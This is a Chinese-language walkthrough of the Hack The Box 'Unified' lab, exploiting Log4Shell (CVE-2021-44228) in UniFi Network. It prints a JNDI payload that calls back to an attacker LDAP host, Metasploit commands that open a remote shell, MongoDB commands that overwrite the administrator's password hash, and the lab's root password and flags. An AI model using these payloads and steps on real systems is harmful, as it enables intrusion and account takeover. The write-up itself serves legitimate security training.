本文主要是介绍[StartingPoint][Tier2]Unified,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
Task 1
Which are the first four open ports?
(开启了哪4个端口?)
$ namp -sC -sV -v 10.129.104.207
22,6789,8080,8443
Task 2
What is the title of the software that is running running on port 8443?
(8443端口运行什么软件?)
UniFi Network
Task 3
What is the version of the software that is running?
(运行的软件版本是什么?)
首先访问10.129.104.207:8080
6.4.54
Task 4
What is the CVE for the identified vulnerability?
(识别到的CVE版本是什么?)
CVE-2021-44228
Task 5
What protocol does JNDI leverage in the injection?
(JNDI (Java Naming and Directory Interface)在注入中利用了什么协议?)
抓包的时候代理设置本地vpn的IP
JNDI是Java命名和目录接口API的缩写。通过调用这个API,应用程序可以定位资源和其他程序对象。资源是提供到系统(如数据库服务器和消息传递系统)的连接的程序对象
LDAP是轻量级目录访问协议(Lightweight Directory Access Protocol)的缩写,它是一种开放的、独立于供应商的行业标准应用协议,用于通过Internet或网络访问和维护分布式目录信息服务。LDAP运行的默认端口是389
{"username": "admin","password": "admin","remember": "${jndi:ldap://10.10.16.6/whatever}","strict": true
}
点击“发送”后,“响应”窗格将显示来自请求的响应。输出显示了一条错误消息,指出有效负载无效,但是尽管有错误消息,有效负载实际上正在执行。
ldap
Task 6
What tool do we use to intercept the traffic, indicating the attack was successful?
(我们用什么工具来拦截流量,表明攻击已成功?)
- tcpdump是一个在命令行界面下运行的数据网络数据包分析计算机程序。它允许用户显示在计算机所连接的网络上传输或接收的TCP/IP和其他数据包。
# tcpdump -i tun0 port 389
tcpdump输出显示在我们的机器上接收到一个连接。这证明该应用程序确实容易受到攻击,因为它试图通过LDAP端口389连接回我们
tcpdump
Task 7
What port do we need to inspect intercepted traffic for?
(我们需要检查拦截的流量的哪个端口?)
389
Task 8
What port is the MongoDB service running on?
(MongoDB服务运行在哪个端口?)
我们必须在我们的系统上安装Open-JDK和Maven,以便构建我们可以发送到服务器的有效载荷,并在易受攻击的系统上进行远程代码执行
$ msfconsole
使用msf的log4j漏洞利用模块
> search log4j
> use 2
> set rhosts 10.129.231.63
> set srvhost tun0
> set lhost tun0
> check
-检查是否存在漏洞
> run
Ctrl+Z
-后台运行
> search shell_to
> use 0
> sessions -l
-查看会话
> set session 1
-设置会话,并且将普通shell提升至msf的shell
> run
session已经成功提升到msf的shell
> sessions -i 2
-进入msf的shell会话
meterpreter> shell
-进入shell
ps aux|grep mongo
- 查看进程mongo的信息
27117
Task 9
What is the default database name for UniFi applications?
(UniFi 应用程序的默认数据库名称是什么?)
让我们通过使用mongo命令行实用程序与MongoDB服务交互,并尝试提取管理员密码。使用关键字UniFi Default Database进行快速Google搜索,显示UniFi应用程序的默认数据库名称是ace。
ace
Task 10
What is the function we use to enumerate users within the database in MongoDB?
(我们在 MongoDB 中用来枚举数据库中的用户的函数是什么?)
$ mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
输出显示了一个名为Administrator的用户。他们的密码散列位于x_shadow变量中,但是在这种情况下,它不能被任何密码破解工具破解。相反,我们可以用自己创建的散列更改x_shadow密码散列,以替换管理员密码并向管理面板进行身份验证。为此,我们可以使用mkpasswd命令行实用程序。
db.admin.find()
Task 11
What is the function we use to update users within the database in MongoDB?
(我们在 MongoDB 中用来更新数据库中的用户的函数是什么?)
$ mkpasswd -m sha-512 s-h4ck13
-生成密码散列
$6$i2Bx4z4kMsLW5K2Y$2chqfNY/6YEqDvBjk4GEJKsZlh39tfdr73boSEI2RKzhLkfP.g.YRIvY2OQr1RESU3D2eIl/5A3cmZy5L2cKp/
6 6 6是正在使用的散列算法的标识符,在本例中是SHA-512,因此我们必须创建相同类型的散列
在msfshell中执行payload
$ mongo --port 27117 ace --eval 'db.admin.update({"_id": ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$i2Bx4z4kMsLW5K2Y$2chqfNY/6YEqDvBjk4GEJKsZlh39tfdr73boSEI2RKzhLkfP.g.YRIvY2OQr1RESU3D2eIl/5A3cmZy5L2cKp/"}})'
-替换管理员的密码
$ mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
再次查看管理员密码
已经改变
db.admin.update()
Task 12
What is the password for the root user?
(root用户的密码是什么?)
登录页面
username:administrator
password:s-h4ck13
来到setting->site选项卡下,可以看到ssh的root账户密码
NotACrackablePassword4U2022
User Flag
$ find / -name user.txt
$ cat /home/michael/user.txt
6ced1a6a89e666c0620cdb10262ba127
Root Flag
e50bc93c75b634e4b272d2f771c33681
这篇关于[StartingPoint][Tier2]Unified的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!